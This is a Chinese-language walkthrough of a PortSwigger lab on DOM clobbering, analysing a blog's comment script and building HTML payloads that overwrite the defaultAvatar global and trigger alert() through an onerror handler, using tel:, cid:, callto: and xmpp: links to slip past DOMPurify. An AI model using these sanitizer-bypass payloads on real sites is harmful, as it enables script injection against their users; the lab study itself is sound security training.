专家-DOM覆盖-造成XSS
# 实验室:利用DOM clobbering造成XSS
# 题目
此实验室包含一个 DOM 覆盖漏洞。评论功能允许 “safe” 的 HTML。若要解决实验室问题,请构造一个 HTML 注入,该注入覆盖变量并通过 XSS 调用alert()
函数。
笔记
请注意,本实验的预期解决方案仅适用于 Chrome。
- name: 实验室-专家
desc: 利用DOM clobbering造成XSS >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。

一个博客站点。

进入任意一篇博客的详情页,查看网页源代码,可以看到三个 script 标签。
- 加载了 JavaScript 库 domPurify,这个库可以用于过滤 XSS 载荷;
- 加载了另一个 js 文件
load...ing.js
,应该就是评论功能所使用的代码; - 通过
loadComments()
函数向指定路径发送请求,以在网页加载完成后,获取并显示评论。

尝试提交 XSS 载荷。

不出所料,由于 domPurify 库,我们载荷中的关键字符被过滤了。

我们查看另一个 js 文件load...ing.js
,分析一下评论功能是如何运作的,以下是几段关键代码:
这是一个过滤函数,对尖括号和单双引号进行了过滤。
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
2
3
4
5
这是用于加载用户头像的一段代码:
- 检查变量
window.defaultAvatar
是否存在。如果存在,则将它赋值给变量defaultAvatar
。如果不存在,则使用另一个固定的默认值; - 构建一个
img
元素。如果变量comment.avatar
存在,则使用escapeHTML
对其进行过滤,然后拼接到src
属性中。如果不存在,则使用defaultAvatar.avatar
的值; - 最后将
img
元素追加到网页中。
你应该已经看出点眉目了吧?变量comment.avatar
使用了函数escapeHTML
进行过滤。但是defaultAvatar.avatar
却没有。
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
2
3
4
5
以下是几段相关、但不是很关键的代码。
评论的 “作者名称” 和 “评论内容” 都使用 domPurify 库进行了过滤,路被堵死。
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
...
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
2
3
评论的 “邮件地址” 不会进行处理,也不会显示在网页中。
评论的 “网站链接” 虽然没有进行过滤,但是不能通过引号闭合href
属性,因为引号被自动编码了。而且链接只能是以 HTTP 协议开头,我们无法通过javascript:
来执行 JavaScript。
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
2
3
4
根据前面所学,构造一个载荷:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href=http://example/1.jpg>
这将会覆盖全局变量defaultAvatar
的值,然后将其avatar
属性设置为http://example/1.jpg
。
第一次评论,插入载荷。

第二次评论,执行之前的载荷,查看效果。
成功将用户头像固定的src
属性覆盖为了我们所提供的值。

然后,我试图通过引号闭合原有img
标签,直接添加onerror
事件来执行 JavaScript。
又或者是直接插入标签,期待尖括号可以直接跳出原有标签。
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='http://" onerror=alert(5)'>
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='http://"><img src=1 onerror=alert(5)>//'>
2
3
双引号被编码。

尖括号也被编码。

也许是 HTTP 协议的缘故,URL 中的特殊字符都会被自动编码。
那就不带协议:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='a" onerror=alert(5)'>
不带协议的话,会被视为目录,自动为你加上当前站点的 URL,一样被编码。

用一个不存在的协议呢?例如qweasd://
:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='qweasd://" onerror=alert(5)'>
由于 domPurify 库,协议qweasd://
不在白名单中,所以会被自动删掉。
前面看到的代码中,变量defaultAvatar
分明没有使用 domPurify 进行过滤。但也许,domPurify 会自动应用于所有全局变量。而我们覆盖的刚好就是全局变量。

查看 domPurify 的 js 文件,可以看到其中存在几个白名单协议。

经过测试,如果使用tel://
协议,则引号不会被 URL 编码,因为该协议中根本没有 URL 这种东西,自然也不会有 URL 编码:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel://" onerror=alert(5)'>
第一次评论,注入载荷。

第二次评论,执行前面的载荷。

成功了,双引号确实没有被 URL 编码,但是后面的单引号被 HTML 编码了,影响到了 JavaScript 的执行。

简单,加上注释符//
将其注释掉即可:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel://" onerror=alert(5)//'>
再次注入载荷,然后发表另一个评论测试效果。成功弹框。

实验完成。

经过测试,白名单中有四个协议可以用于构造载荷,它们都不会对引号进行 URL 编码:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='cid://"onerror=alert(5)//'>
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel://"onerror=alert(5)//'>
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='callto://"onerror=alert(5)//'>
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='xmpp://"onerror=alert(5)//'>
2
3
4
5
6
7
这是callto://
协议,不会对引号进行编码。

这是xmpp://
协议。

答案中用的是cid://
协议......没错,这题我看了答案(我是fw)